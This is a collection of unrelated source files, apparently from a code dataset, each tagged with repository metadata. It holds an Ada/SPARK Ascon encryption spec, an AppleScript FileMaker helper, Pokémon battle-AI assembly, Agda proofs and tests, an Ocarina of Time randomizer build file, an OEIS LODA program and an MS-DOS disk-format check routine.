-- Ascon -- an Ada / SPARK implementation of the Ascon Authenticated Encryption Algorithm -- created by <NAME>, <NAME>, <NAME> and -- <NAME> -- Copyright (c) 2016-2018, <NAME> - see LICENSE file for details pragma Restrictions(No_Implementation_Attributes, No_Implementation_Units, No_Obsolescent_Features); with System.Storage_Elements; private with Interfaces; with Ascon_Definitions; use Ascon_Definitions; generic a_rounds : Round_Count := 12; b_rounds : Round_Count := 6; b_round_constants_offset : Round_Offset := 6; rate : Rate_Bits := 64; package Ascon with SPARK_Mode => On is -- These constants are the same for all variants of Ascon key_bits : constant := 128; nonce_bits : constant := 128; tag_bits : constant := 128; use System.Storage_Elements; subtype Key_Type is Storage_Array(0..Storage_Offset(key_bits/8)-1); -- A Storage_Array subtype containing key material. subtype Nonce_Type is Storage_Array(0..Storage_Offset(nonce_bits/8)-1); -- A Storage_Array subtype containing the nonce material. This must be unique -- per-message. subtype Tag_Type is Storage_Array(0..Storage_Offset(tag_bits/8)-1); -- A Storage_Array subtype containing an authentication tag. Null_Storage_Array : constant Storage_Array(1..0) := (others => 0); -- A null Storage_Array that can be passed to AEADEnc and AEADDec if one of -- the associated data or message parameters is not required. -- High-level API for Ascon procedure AEADEnc(K : in Key_Type; N : in Nonce_Type; A : in Storage_Array; M : in Storage_Array; C : out Storage_Array; T : out Tag_Type) with Pre => ( (Valid_Storage_Array_Parameter(A) and Valid_Storage_Array_Parameter(M) and Valid_Storage_Array_Parameter(C'First, C'Last)) and then C'Length = M'Length ); -- AEADEnc carries out an authenticated encryption -- K : key data -- N : nonce -- A : optional (unencrypted) associated data -- M : optional message to be encrypted -- C : encrypted version of M -- T : authentication tag for (A,M,Z) procedure AEADDec(K : in Key_Type; N : in Nonce_Type; A : in Storage_Array; C : in Storage_Array; T : in Tag_Type; M : out Storage_Array; Valid : out Boolean) with Pre => ( (Valid_Storage_Array_Parameter(A) and Valid_Storage_Array_Parameter(C) and Valid_Storage_Array_Parameter(M'First, M'Last)) and then M'Length = C'Length ), Post => (Valid or (for all I in M'Range => M(I) = 0)); -- AEADEnc carries out an authenticated decryption -- K : key data -- N : nonce -- A : optional (unencrypted) associated data -- C : optional ciphertext to be decrypted -- T : authentication tag -- M : contains the decrypted C or zero if the input does not authenticate -- Valid : indicates if the input authenticates correctly type State is private; -- This type declaration makes the Ascon.Access_Internals package easier to -- write. It is not intended for normal use. function Valid_Storage_Array_Parameter(X : in Storage_Array) return Boolean with Ghost; -- This ghost function simplifies the preconditions function Valid_Storage_Array_Parameter(First : in Storage_Offset; Last : in Storage_Offset) return Boolean with Ghost; -- This ghost function simplifies the preconditions private function Valid_Storage_Array_Parameter(X : in Storage_Array) return Boolean is ( if X'First <= 0 then ((Long_Long_Integer (X'Last) < Long_Long_Integer'Last + Long_Long_Integer (X'First)) and then X'Last < Storage_Offset'Last - Storage_Offset(rate/8)) else X'Last < Storage_Offset'Last - Storage_Offset(rate/8) ); function Valid_Storage_Array_Parameter(First : in Storage_Offset; Last : in Storage_Offset) return Boolean is ( if First <= 0 then ((Long_Long_Integer (Last) < Long_Long_Integer'Last + Long_Long_Integer (First)) and then Last < Storage_Offset'Last - Storage_Offset(rate/8)) else Last < Storage_Offset'Last - Storage_Offset(rate/8) ); subtype Word is Interfaces.Unsigned_64; type State is array (Integer range 0..4) of Word; -- Low-level API for Ascon. These routines can be accessed by instantiating -- the Ascon.Access_Internals child package function Make_State return State; function Initialise (Key : in Key_Type; Nonce : in Nonce_Type) return State; procedure Absorb (S : in out State; X : in Storage_Array) with Pre=> (Valid_Storage_Array_Parameter(X)); procedure Encrypt (S : in out State; M : in Storage_Array; C : out Storage_Array) with Relaxed_Initialization => C, Pre => ( (Valid_Storage_Array_Parameter(M) and Valid_Storage_Array_Parameter(C'First, C'Last)) and then C'Length = M'Length ), Post => C'Initialized; procedure Decrypt (S : in out State; C : in Storage_Array; M : out Storage_Array) with Relaxed_Initialization => M, Pre => ( (Valid_Storage_Array_Parameter(C) and Valid_Storage_Array_Parameter(M'First, M'Last)) and then C'Length = M'Length ), Post => M'Initialized; procedure Finalise (S : in out State; Key : in Key_Type; Tag : out Tag_Type) with Relaxed_Initialization => Tag, Post => Tag'Initialized; -- These compile-time checks test requirements that cannot be expressed -- in the generic formal parameters. Currently compile-time checks are -- not supported in GNATprove so the related warnings are suppressed. pragma Warnings (GNATprove, Off, "Compile_Time_Error"); pragma Compile_Time_Error (key_bits /= tag_bits, "The tag has to be the same length as the key"); pragma Compile_Time_Error (rate mod 64 /= 0, "The rate is not a multiple of 64 bits"); pragma Compile_Time_Error (System.Storage_Elements.Storage_Element'Size /= 8, "This implementation of Ascon cannot work " & "with Storage_Element'Size /= 8"); pragma Compile_Time_Error (b_rounds + b_round_constants_offset > 12, "Ascon requires b_rounds +" & " b_round_constants_offset to be <= 12"); pragma Warnings (GNATprove, On, "Compile_Time_Error"); end Ascon;
library/fmGUI_ManageScripts/fmGUI_ManageScripts_ScriptListFocus.applescript
NYHTC/applescript-fm-helper
1
2549
-- fmGUI_ManageScripts_ScriptListFocus({}) -- NYHTC -- Focus script workspace (* HISTORY 1.3 - 2020-05-21 ( dshockley ): Properly handle "no scripts" (without error) as a false, not an error. 1.2 - 2017-01-12 ( eshagdar ): updated for FM15 - list of scripts is now in a splitter group. 1.1 - 1.0 - 201x-xx-xx ( xxxxx ): first created REQUIRES: fmGUI_ManageScripts_Open *) on run fmGUI_ManageScripts_ScriptListFocus({}) end run -------------------- -- START OF CODE -------------------- on fmGUI_ManageScripts_ScriptListFocus(prefs) -- version 1.3 try fmGUI_ManageScripts_Open({}) set windowNamePrefix to "Script Workspace" tell application "System Events" tell application process "FileMaker Pro Advanced" if exists static text "No scripts" of splitter group 1 of window 1 then -- no scripts exist, so cannot "focus" on script list, but anything that wants that focus (to paste, for example) should just work. So, return FALSE, but not an error. return false else set focused of (outline 1 of scroll area 1 of splitter group 1 of window 1) to true return true end if end tell end tell on error errMsg number errNum error "unable to fmGUI_ManageScripts_ScriptListFocus - " & errMsg number errNum end try end fmGUI_ManageScripts_ScriptListFocus -------------------- -- END OF CODE -------------------- on fmGUI_ManageScripts_Open(prefs) tell application "htcLib" to fmGUI_ManageScripts_Open(prefs) end fmGUI_ManageScripts_Open
engine/battle/ai/items.asm
AtmaBuster/pokeoctober
1
8807
AI_SwitchOrTryItem: and a ld a, [wBattleMode] dec a ret z ld a, [wLinkMode] and a ret nz farcall CheckEnemyLockedIn ret nz ld a, [wPlayerSubStatus5] bit SUBSTATUS_CANT_RUN, a jr nz, DontSwitch ld a, [wEnemyWrapCount] and a jr nz, DontSwitch ld hl, TrainerClassAttributes + TRNATTR_AI_ITEM_SWITCH ld a, [wInBattleTowerBattle] ; always load the first trainer class in wTrainerClass for BattleTower-Trainers and a jr nz, .ok ld a, [wTrainerClass] dec a ld bc, NUM_TRAINER_ATTRIBUTES call AddNTimes .ok bit SWITCH_OFTEN_F, [hl] jp nz, SwitchOften bit SWITCH_RARELY_F, [hl] jp nz, SwitchRarely bit SWITCH_SOMETIMES_F, [hl] jp nz, SwitchSometimes ; fallthrough DontSwitch: call AI_TryItem ret SwitchOften: callfar CheckAbleToSwitch ld a, [wEnemySwitchMonParam] and $f0 jp z, DontSwitch cp $10 jr nz, .not_10 call Random cp 50 percent + 1 jr c, .switch jp DontSwitch .not_10 cp $20 jr nz, .not_20 call Random cp 79 percent - 1 jr c, .switch jp DontSwitch .not_20 ; $30 call Random cp 4 percent jp c, DontSwitch .switch ld a, [wEnemySwitchMonParam] and $f inc a ; In register 'a' is the number (1-6) of the mon to switch to ld [wEnemySwitchMonIndex], a jp AI_TrySwitch SwitchRarely: callfar CheckAbleToSwitch ld a, [wEnemySwitchMonParam] and $f0 jp z, DontSwitch cp $10 jr nz, .not_10 call Random cp 8 percent jr c, .switch jp DontSwitch .not_10 cp $20 jr nz, .not_20 call Random cp 12 percent jr c, .switch jp DontSwitch .not_20 ; $30 call Random cp 79 percent - 1 jp c, DontSwitch .switch ld a, [wEnemySwitchMonParam] and $f inc a ld [wEnemySwitchMonIndex], a jp AI_TrySwitch SwitchSometimes: callfar CheckAbleToSwitch ld a, [wEnemySwitchMonParam] and $f0 jp z, DontSwitch cp $10 jr nz, .not_10 call Random cp 20 percent - 1 jr c, .switch jp DontSwitch .not_10 cp $20 jr nz, .not_20 call Random cp 50 percent + 1 jr c, .switch jp DontSwitch .not_20 ; $30 call Random cp 20 percent - 1 jp c, DontSwitch .switch ld a, [wEnemySwitchMonParam] and $f inc a ld [wEnemySwitchMonIndex], a jp AI_TrySwitch CheckSubstatusCantRun: ld a, [wEnemySubStatus5] bit SUBSTATUS_CANT_RUN, a ret AI_TryItem: ; items are not allowed in the BattleTower ld a, [wInBattleTowerBattle] and a ret nz ld a, [wEnemyTrainerItem1] ld b, a ld a, [wEnemyTrainerItem2] or b ret z call .IsHighestLevel ret nc ld a, [wTrainerClass] dec a ld hl, TrainerClassAttributes + TRNATTR_AI_ITEM_SWITCH ld bc, NUM_TRAINER_ATTRIBUTES call AddNTimes ld b, h ld c, l ld hl, AI_Items ld de, wEnemyTrainerItem1 .loop ld a, [hl] and a inc a ret z ld a, [de] cp [hl] jr z, .has_item inc de ld a, [de] cp [hl] jr z, .has_item dec de inc hl inc hl inc hl jr .loop .has_item inc hl push hl push de ld de, .callback push de ld a, [hli] ld h, [hl] ld l, a jp hl .callback pop de pop hl inc hl inc hl jr c, .loop .used_item xor a ld [de], a inc a ld [wEnemyGoesFirst], a ld hl, wEnemySubStatus3 res SUBSTATUS_BIDE, [hl] xor a ld [wEnemyFuryCutterCount], a ld [wEnemyProtectCount], a ld [wEnemyRageCounter], a ld hl, wEnemySubStatus4 res SUBSTATUS_RAGE, [hl] xor a ld [wLastEnemyCounterMove], a scf ret .IsHighestLevel: ld a, [wOTPartyCount] ld d, a ld e, 0 ld hl, wOTPartyMon1Level ld bc, PARTYMON_STRUCT_LENGTH .next ld a, [hl] cp e jr c, .ok ld e, a .ok add hl, bc dec d jr nz, .next ld a, [wCurOTMon] ld hl, wOTPartyMon1Level call AddNTimes ld a, [hl] cp e jr nc, .yes .no and a ret .yes scf ret AI_Items: dbw FULL_RESTORE, .FullRestore dbw MAX_POTION, .MaxPotion dbw HYPER_POTION, .HyperPotion dbw SUPER_POTION, .SuperPotion dbw POTION, .Potion dbw X_ACCURACY, .XAccuracy dbw FULL_HEAL, .FullHeal dbw GUARD_SPEC, .GuardSpec dbw DIRE_HIT, .DireHit dbw X_ATTACK, .XAttack dbw X_DEFEND, .XDefend dbw X_SPEED, .XSpeed dbw X_SPECIAL, .XSpecial db -1 ; end .FullHeal: call .Status jp c, .DontUse call EnemyUsedFullHeal jp .Use .Status: ld a, [wEnemyMonStatus] and a jp z, .DontUse ld a, [bc] bit CONTEXT_USE_F, a jr nz, .StatusCheckContext ld a, [bc] bit ALWAYS_USE_F, a jp nz, .Use call Random cp 20 percent - 1 jp c, .Use jp .DontUse .StatusCheckContext: ld a, [wEnemySubStatus5] bit SUBSTATUS_TOXIC, a jr z, .FailToxicCheck ld a, [wEnemyToxicCount] cp 4 jr c, .FailToxicCheck call Random cp 50 percent + 1 jp c, .Use .FailToxicCheck: ld a, [wEnemyMonStatus] and 1 << FRZ | SLP jp z, .DontUse jp .Use .FullRestore: call .HealItem jp nc, .UseFullRestore ld a, [bc] bit CONTEXT_USE_F, a jp z, .DontUse call .Status jp c, .DontUse .UseFullRestore: call EnemyUsedFullRestore jp .Use .MaxPotion: call .HealItem jp c, .DontUse call EnemyUsedMaxPotion jp .Use .HealItem: ld a, [bc] bit CONTEXT_USE_F, a jr nz, .CheckHalfOrQuarterHP callfar AICheckEnemyHalfHP jp c, .DontUse ld a, [bc] bit UNKNOWN_USE_F, a jp nz, .CheckQuarterHP callfar AICheckEnemyQuarterHP jp nc, .UseHealItem call Random cp 50 percent + 1 jp c, .UseHealItem jp .DontUse .CheckQuarterHP: callfar AICheckEnemyQuarterHP jp c, .DontUse call Random cp 20 percent - 1 jp c, .DontUse jr .UseHealItem .CheckHalfOrQuarterHP: callfar AICheckEnemyHalfHP jp c, .DontUse callfar AICheckEnemyQuarterHP jp nc, .UseHealItem call Random cp 20 percent - 1 jp nc, .DontUse .UseHealItem: jp .Use .HyperPotion: call .HealItem jp c, .DontUse ld b, 200 call EnemyUsedHyperPotion jp .Use .SuperPotion: call .HealItem jp c, .DontUse ld b, 50 call EnemyUsedSuperPotion jp .Use .Potion: call .HealItem jp c, .DontUse ld b, 20 call EnemyUsedPotion jp .Use .asm_382ae ; This appears to be unused callfar AICheckEnemyMaxHP jr c, .dont_use push bc ld de, wEnemyMonMaxHP + 1 ld hl, wEnemyMonHP + 1 ld a, [de] sub [hl] jr z, .check_40_percent dec hl dec de ld c, a sbc [hl] and a jr nz, .check_40_percent ld a, c cp b jp c, .check_50_percent callfar AICheckEnemyQuarterHP jr c, .check_40_percent .check_50_percent pop bc ld a, [bc] bit UNKNOWN_USE_F, a jp z, .Use call Random cp 50 percent + 1 jp c, .Use .dont_use jp .DontUse .check_40_percent pop bc ld a, [bc] bit UNKNOWN_USE_F, a jp z, .DontUse call Random cp 39 percent + 1 jp c, .Use jp .DontUse .XAccuracy: call .XItem jp c, .DontUse call EnemyUsedXAccuracy jp .Use .GuardSpec: call .XItem jp c, .DontUse call EnemyUsedGuardSpec jp .Use .DireHit: call .XItem jp c, .DontUse call EnemyUsedDireHit jp .Use .XAttack: call .XItem jp c, .DontUse call EnemyUsedXAttack jp .Use .XDefend: call .XItem jp c, .DontUse call EnemyUsedXDefend jp .Use .XSpeed: call .XItem jp c, .DontUse call EnemyUsedXSpeed jp .Use .XSpecial: call .XItem jp c, .DontUse call EnemyUsedXSpecial jp .Use .XItem: ld a, [wEnemyTurnsTaken] and a jr nz, .notfirstturnout ld a, [bc] bit ALWAYS_USE_F, a jp nz, .Use call Random cp 50 percent + 1 jp c, .DontUse ld a, [bc] bit CONTEXT_USE_F, a jp nz, .Use call Random cp 50 percent + 1 jp c, .DontUse jp .Use .notfirstturnout ld a, [bc] bit ALWAYS_USE_F, a jp z, .DontUse call Random cp 20 percent - 1 jp nc, .DontUse jp .Use .DontUse: scf ret .Use: and a ret AIUpdateHUD: call UpdateEnemyMonInParty farcall UpdateEnemyHUD ld a, $1 ldh [hBGMapMode], a ld hl, wEnemyItemState dec [hl] scf ret AIUsedItemSound: push de ld de, SFX_FULL_HEAL call PlaySFX pop de ret EnemyUsedFullHeal: call AIUsedItemSound call AI_HealStatus ld a, FULL_HEAL ld [wCurEnemyItem], a xor a ld [wEnemyConfuseCount], a jp PrintText_UsedItemOn_AND_AIUpdateHUD EnemyUsedMaxPotion: ld a, MAX_POTION ld [wCurEnemyItem], a jr FullRestoreContinue EnemyUsedFullRestore: call AI_HealStatus ld a, FULL_RESTORE ld [wCurEnemyItem], a xor a ld [wEnemyConfuseCount], a FullRestoreContinue: ld de, wCurHPAnimOldHP ld hl, wEnemyMonHP + 1 ld a, [hld] ld [de], a inc de ld a, [hl] ld [de], a inc de ld hl, wEnemyMonMaxHP + 1 ld a, [hld] ld [de], a inc de ld [wCurHPAnimMaxHP], a ld [wEnemyMonHP + 1], a ld a, [hl] ld [de], a ld [wCurHPAnimMaxHP + 1], a ld [wEnemyMonHP], a jr EnemyPotionFinish EnemyUsedPotion: ld a, POTION ld b, 20 jr EnemyPotionContinue EnemyUsedSuperPotion: ld a, SUPER_POTION ld b, 50 jr EnemyPotionContinue EnemyUsedHyperPotion: ld a, HYPER_POTION ld b, 200 EnemyPotionContinue: ld [wCurEnemyItem], a ld hl, wEnemyMonHP + 1 ld a, [hl] ld [wCurHPAnimOldHP], a add b ld [hld], a ld [wCurHPAnimNewHP], a ld a, [hl] ld [wCurHPAnimOldHP + 1], a ld [wCurHPAnimNewHP + 1], a jr nc, .ok inc a ld [hl], a ld [wCurHPAnimNewHP + 1], a .ok inc hl ld a, [hld] ld b, a ld de, wEnemyMonMaxHP + 1 ld a, [de] dec de ld [wCurHPAnimMaxHP], a sub b ld a, [hli] ld b, a ld a, [de] ld [wCurHPAnimMaxHP + 1], a sbc b jr nc, EnemyPotionFinish inc de ld a, [de] dec de ld [hld], a ld [wCurHPAnimNewHP], a ld a, [de] ld [hl], a ld [wCurHPAnimNewHP + 1], a EnemyPotionFinish: call PrintText_UsedItemOn hlcoord 2, 2 xor a ld [wWhichHPBar], a call AIUsedItemSound predef AnimateHPBar jp AIUpdateHUD AI_TrySwitch: ; Determine whether the AI can switch based on how many Pokemon are still alive. ; If it can switch, it will. ld a, [wOTPartyCount] ld c, a ld hl, wOTPartyMon1HP ld d, 0 .SwitchLoop: ld a, [hli] ld b, a ld a, [hld] or b jr z, .fainted inc d .fainted push bc ld bc, PARTYMON_STRUCT_LENGTH add hl, bc pop bc dec c jr nz, .SwitchLoop ld a, d cp 2 jp nc, AI_Switch and a ret AI_Switch: ld a, $1 ld [wEnemyIsSwitching], a ld [wEnemyGoesFirst], a ld hl, wEnemySubStatus4 res SUBSTATUS_RAGE, [hl] xor a ldh [hBattleTurn], a callfar PursuitSwitch push af ld a, [wCurOTMon] ld hl, wOTPartyMon1Status ld bc, PARTYMON_STRUCT_LENGTH call AddNTimes ld d, h ld e, l ld hl, wEnemyMonStatus ld bc, MON_MAXHP - MON_STATUS call CopyBytes pop af jr c, .skiptext ld hl, TextJump_EnemyWithdrew call PrintText .skiptext ld a, 1 ld [wBattleHasJustStarted], a callfar NewEnemyMonStatus callfar ResetEnemyStatLevels ld hl, wPlayerSubStatus1 res SUBSTATUS_IN_LOVE, [hl] farcall EnemySwitch farcall ResetBattleParticipants xor a ld [wBattleHasJustStarted], a ld a, [wLinkMode] and a ret nz scf ret TextJump_EnemyWithdrew: text_far Text_EnemyWithdrew text_end Function384d5: ; This appears to be unused call AIUsedItemSound call AI_HealStatus ld a, FULL_HEAL_RED ; X_SPEED jp PrintText_UsedItemOn_AND_AIUpdateHUD AI_HealStatus: ld a, [wCurOTMon] ld hl, wOTPartyMon1Status ld bc, PARTYMON_STRUCT_LENGTH call AddNTimes xor a ld [hl], a ld [wEnemyMonStatus], a ld hl, wEnemySubStatus1 res SUBSTATUS_NIGHTMARE, [hl] ld hl, wEnemySubStatus3 res SUBSTATUS_CONFUSED, [hl] ld hl, wEnemySubStatus5 res SUBSTATUS_TOXIC, [hl] ret EnemyUsedXAccuracy: call AIUsedItemSound ld hl, wEnemySubStatus4 set SUBSTATUS_X_ACCURACY, [hl] ld a, X_ACCURACY jp PrintText_UsedItemOn_AND_AIUpdateHUD EnemyUsedGuardSpec: call AIUsedItemSound ld hl, wEnemySubStatus4 set SUBSTATUS_MIST, [hl] ld a, GUARD_SPEC jp PrintText_UsedItemOn_AND_AIUpdateHUD EnemyUsedDireHit: call AIUsedItemSound ld hl, wEnemySubStatus4 set SUBSTATUS_FOCUS_ENERGY, [hl] ld a, DIRE_HIT jp PrintText_UsedItemOn_AND_AIUpdateHUD Function3851e: ; This appears to be unused ldh [hDivisor], a ld hl, wEnemyMonMaxHP ld a, [hli] ldh [hDividend], a ld a, [hl] ldh [hDividend + 1], a ld b, 2 call Divide ldh a, [hQuotient + 3] ld c, a ldh a, [hQuotient + 2] ld b, a ld hl, wEnemyMonHP + 1 ld a, [hld] ld e, a ld a, [hl] ld d, a ld a, d sub b ret nz ld a, e sub c ret EnemyUsedXAttack: ld b, ATTACK ld a, X_ATTACK jr EnemyUsedXItem EnemyUsedXDefend: ld b, DEFENSE ld a, X_DEFEND jr EnemyUsedXItem EnemyUsedXSpeed: ld b, SPEED ld a, X_SPEED jr EnemyUsedXItem EnemyUsedXSpecial: ld b, SP_ATTACK ld a, X_SPECIAL ; Parameter ; a = ITEM_CONSTANT ; b = BATTLE_CONSTANT (ATTACK, DEFENSE, SPEED, SP_ATTACK, SP_DEFENSE, ACCURACY, EVASION) EnemyUsedXItem: ld [wCurEnemyItem], a push bc call PrintText_UsedItemOn pop bc farcall RaiseStat jp AIUpdateHUD ; Parameter ; a = ITEM_CONSTANT PrintText_UsedItemOn_AND_AIUpdateHUD: ld [wCurEnemyItem], a call PrintText_UsedItemOn jp AIUpdateHUD PrintText_UsedItemOn: ld a, [wCurEnemyItem] ld [wNamedObjectIndexBuffer], a call GetItemName ld hl, wStringBuffer1 ld de, wMonOrItemNameBuffer ld bc, ITEM_NAME_LENGTH call CopyBytes ld hl, TextJump_EnemyUsedOn jp PrintText TextJump_EnemyUsedOn: text_far Text_EnemyUsedOn text_end
test/succeed/Issue509.agda
asr/agda-kanso
1
6952
<reponame>asr/agda-kanso<gh_stars>1-10 -- Instance arguments in records. module Issue509 where -- The instance version of _ ⋯ : {A : Set} {{ x : A }} → A ⋯ {{ x }} = x data ℕ : Set where zero : ℕ suc : ℕ → ℕ record T (n : ℕ) : Set where field nextPrime : ℕ T₁ : T (suc zero) T₁ = record { nextPrime = suc (suc zero) } T₂ : T (suc (suc zero)) T₂ = record { nextPrime = suc (suc (suc zero)) } data Param : ℕ → Set where param : ∀ n → Param (suc n) record R : Set where constructor r field {impl} : ℕ {{ inst }} : T impl p : Param impl s : ℕ -- The inst field should be an instance meta here testA : R testA = record { p = param zero; s = suc (suc zero) } -- So, pretty much this: testB : R testB = record { impl = _; inst = ⋯; p = param zero; s = suc (suc zero) } -- Or using the construcor testC : R testC = r { _ } {{ ⋯ }} (param zero) (suc (suc zero)) -- Omitting the fields also works when using the constructor (of course) testD : R testD = r (param zero) (suc (suc zero)) -- Note that {{ _ }} means explicitly giving the instance argument and saying -- it should be an ordinary meta. Going the other way would be {⋯}.
ASM/src/build.asm
rattus128/OoT-Randomizer
2
177386
.n64 .relativeinclude on .create "../roms/patched.z64", 0 .incbin "../roms/base.z64" ;================================================================================================== ; Constants ;================================================================================================== .include "constants.asm" .include "addresses.asm" ;================================================================================================== ; Base game editing region ;================================================================================================== .include "boot.asm" .include "hacks.asm" .include "malon.asm" ;================================================================================================== ; New code region ;================================================================================================== .headersize (0x80400000 - 0x03480000) .org 0x80400000 .area 0x10000 .area 0x1000, 0 .include "coop_state.asm" ; This should always come first .endarea .include "config.asm" .include "init.asm" .include "item_overrides.asm" .include "cutscenes.asm" .include "shop.asm" .include "every_frame.asm" .include "menu.asm" .include "time_travel.asm" .include "song_fix.asm" .include "scarecrow.asm" .include "empty_bomb_fix.asm" .include "initial_save.asm" .include "textbox.asm" .include "fishing.asm" .include "bgs_fix.asm" .include "chus_in_logic.asm" .include "rainbow_bridge.asm" .include "gossip_hints.asm" .include "potion_shop.asm" .include "jabu_elevator.asm" .include "dampe.asm" .include "dpad.asm" .include "chests.asm" .include "bunny_hood.asm" .include "magic_color.asm" .include "debug.asm" .include "cow.asm" .include "lake_hylia.asm" .importobj "../build/bundle.o" .align 8 FONT_TEXTURE: .incbin("../resources/font.bin") DPAD_TEXTURE: .incbin("../resources/dpad.bin") .endarea .close
oeis/073/A073612.asm
neoneye/loda-programs
11
167562
; A073612: Group the positive integers as (1, 2), (3, 4, 5), (6, 7, 8, 9, 10), (11, 12, 13, 14, 15, 16, 17), ... the n-th group containing prime(n) elements. Except the first, all groups contain an odd number of elements and hence have a middle term. Sequence gives the middle terms starting from group 2. ; Submitted by <NAME> ; 4,8,14,23,35,50,68,89,115,145,179,218,260,305,355,411,471,535,604,676,752,833,919,1012,1111,1213,1318,1426,1537,1657,1786,1920,2058,2202,2352,2506,2666,2831,3001,3177,3357,3543,3735,3930,4128,4333,4550,4775 mov $2,2 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 add $0,$2 max $0,0 seq $0,237589 ; Sum of first n odd noncomposite numbers. add $3,$0 lpe mov $0,$3 sub $0,5 div $0,2 add $0,4
install/lib/hdisk/hd_isfmt.asm
minblock/msdos
0
247208
<reponame>minblock/msdos ;======================================================== COMMENT # HD_ISFMT.ASM Copyright (c) 1991 - Microsoft Corp. All rights reserved. Microsoft Confidential johnhe 02-18-90 NOTE: Becasue of bugs in the DOS BIOS this function doesn't work so use a function which reads the boots sector to find out. END COMMENT # ; =========================================================================== INCLUDE model.inc ; =========================================================================== diskaccess struc dac_special_func db ? dac_access_flag db ? diskaccess ends GET_ACCESS EQU 0867h ; ======================================================= .CODE ; =========================================================================== ; ; This routine will invoke INT21 44h (Block Generic IOCTL Subfunction) ; call to see if the drive has been previously formatted by using an ; undocumented call. ; ; int IsFormatted( char DriveLetter, struct diskaccess *Dac ) ; ; ARGUMENTS: DriveLetter - DOS drive letter (MUST be uppercase) ; ; RETURNS: int - TRUE if drive is formatted ; FALSE if not formatted ; =========================================================================== ; BUGBUG - (jah) - No need to preserver BX or CX in a C callable function IF @DataSize HdIsFormatted PROC USES DS BX CX, DriveLetter:BYTE, Dac:PTR ELSE HdIsFormatted PROC DriveLetter:BYTE, Dac:PTR ENDIF mov AX,440dh ; DOS generic IOCTL check media xor BH,BH ; BH == 0 mov BL,DriveLetter ; BL == Drive letter sub BL,'A' ; BL == DOS drive number inc BL ; 1 ==> 'A', 2==> 'B', etc. mov CX,GET_ACCESS ; CX == Get format status ; lds DX,Dac ; DS:DX --> Dac struc LoadPtr DS, DX, Dac ; DS:DX --> Dac struc int 21h ; DOS call mov BX,DX ; DS:BX --> Dac struc xor AX,AX ; Assume not formatted or [BX].dac_access_flag,11111111b ; Check format status flag jz HdIsFormattedReturn mov AX,01 ; Signal disk if formatted HdIsFormattedReturn: ret HdIsFormatted ENDP END  
agda-stdlib/src/Data/List/Relation/Binary/Sublist/Propositional/Properties.agda
DreamLinuxer/popl21-artifact
5
10186
<filename>agda-stdlib/src/Data/List/Relation/Binary/Sublist/Propositional/Properties.agda ------------------------------------------------------------------------ -- The Agda standard library -- -- Sublist-related properties ------------------------------------------------------------------------ {-# OPTIONS --without-K --safe #-} module Data.List.Relation.Binary.Sublist.Propositional.Properties {a} {A : Set a} where open import Data.List.Base using (List; []; _∷_; map) open import Data.List.Membership.Propositional using (_∈_) open import Data.List.Relation.Unary.All using (All; []; _∷_) open import Data.List.Relation.Unary.Any using (Any; here; there) open import Data.List.Relation.Unary.Any.Properties using (here-injective; there-injective) open import Data.List.Relation.Binary.Sublist.Propositional hiding (map) import Data.List.Relation.Binary.Sublist.Setoid.Properties as SetoidProperties open import Data.Product using (∃; _,_; proj₂) open import Function.Base open import Level using (Level) open import Relation.Binary using (_Respects_) open import Relation.Binary.PropositionalEquality open import Relation.Unary using (Pred) private variable b ℓ : Level B : Set b ------------------------------------------------------------------------ -- Re-exporting setoid properties open SetoidProperties (setoid A) public hiding (map⁺) map⁺ : ∀ {as bs} (f : A → B) → as ⊆ bs → map f as ⊆ map f bs map⁺ {B = B} f = SetoidProperties.map⁺ (setoid A) (setoid B) (cong f) ------------------------------------------------------------------------ -- Category laws for _⊆_ ⊆-trans-idˡ : ∀ {xs ys : List A} {τ : xs ⊆ ys} → ⊆-trans ⊆-refl τ ≡ τ ⊆-trans-idˡ {_} {τ = [] } = refl ⊆-trans-idˡ {_} {τ = _ ∷ _} = cong (_ ∷_ ) ⊆-trans-idˡ ⊆-trans-idˡ {[]} {τ = _ ∷ʳ _} = cong (_ ∷ʳ_) ⊆-trans-idˡ ⊆-trans-idˡ {_ ∷ _} {τ = _ ∷ʳ _} = cong (_ ∷ʳ_) ⊆-trans-idˡ ⊆-trans-idʳ : ∀ {xs ys : List A} {τ : xs ⊆ ys} → ⊆-trans τ ⊆-refl ≡ τ ⊆-trans-idʳ {τ = [] } = refl ⊆-trans-idʳ {τ = _ ∷ʳ _ } = cong (_ ∷ʳ_ ) ⊆-trans-idʳ ⊆-trans-idʳ {τ = refl ∷ _} = cong (refl ∷_) ⊆-trans-idʳ -- Note: The associativity law is oriented such that rewriting with it -- may trigger reductions of ⊆-trans, which matches first on its -- second argument and then on its first argument. ⊆-trans-assoc : ∀ {ws xs ys zs : List A} {τ₁ : ws ⊆ xs} {τ₂ : xs ⊆ ys} {τ₃ : ys ⊆ zs} → ⊆-trans τ₁ (⊆-trans τ₂ τ₃) ≡ ⊆-trans (⊆-trans τ₁ τ₂) τ₃ ⊆-trans-assoc {τ₁ = _} {_} {_ ∷ʳ _} = cong (_ ∷ʳ_) ⊆-trans-assoc ⊆-trans-assoc {τ₁ = _} {_ ∷ʳ _} {_ ∷ _} = cong (_ ∷ʳ_) ⊆-trans-assoc ⊆-trans-assoc {τ₁ = _ ∷ʳ _ } {_ ∷ _} {_ ∷ _} = cong (_ ∷ʳ_) ⊆-trans-assoc ⊆-trans-assoc {τ₁ = refl ∷ _} {_ ∷ _} {_ ∷ _} = cong (_ ∷_ ) ⊆-trans-assoc ⊆-trans-assoc {τ₁ = []} {[]} {[]} = refl ------------------------------------------------------------------------ -- Laws concerning ⊆-trans and ∷ˡ⁻ ⊆-trans-∷ˡ⁻ᵣ : ∀ {y} {xs ys zs : List A} {τ : xs ⊆ ys} {σ : (y ∷ ys) ⊆ zs} → ⊆-trans τ (∷ˡ⁻ σ) ≡ ⊆-trans (y ∷ʳ τ) σ ⊆-trans-∷ˡ⁻ᵣ {σ = x ∷ σ} = refl ⊆-trans-∷ˡ⁻ᵣ {σ = y ∷ʳ σ} = cong (y ∷ʳ_) ⊆-trans-∷ˡ⁻ᵣ ⊆-trans-∷ˡ⁻ₗ : ∀ {x} {xs ys zs : List A} {τ : (x ∷ xs) ⊆ ys} {σ : ys ⊆ zs} → ⊆-trans (∷ˡ⁻ τ) σ ≡ ∷ˡ⁻ (⊆-trans τ σ) ⊆-trans-∷ˡ⁻ₗ {σ = y ∷ʳ σ} = cong (y ∷ʳ_) ⊆-trans-∷ˡ⁻ₗ ⊆-trans-∷ˡ⁻ₗ {τ = y ∷ʳ τ} {σ = refl ∷ σ} = cong (y ∷ʳ_) ⊆-trans-∷ˡ⁻ₗ 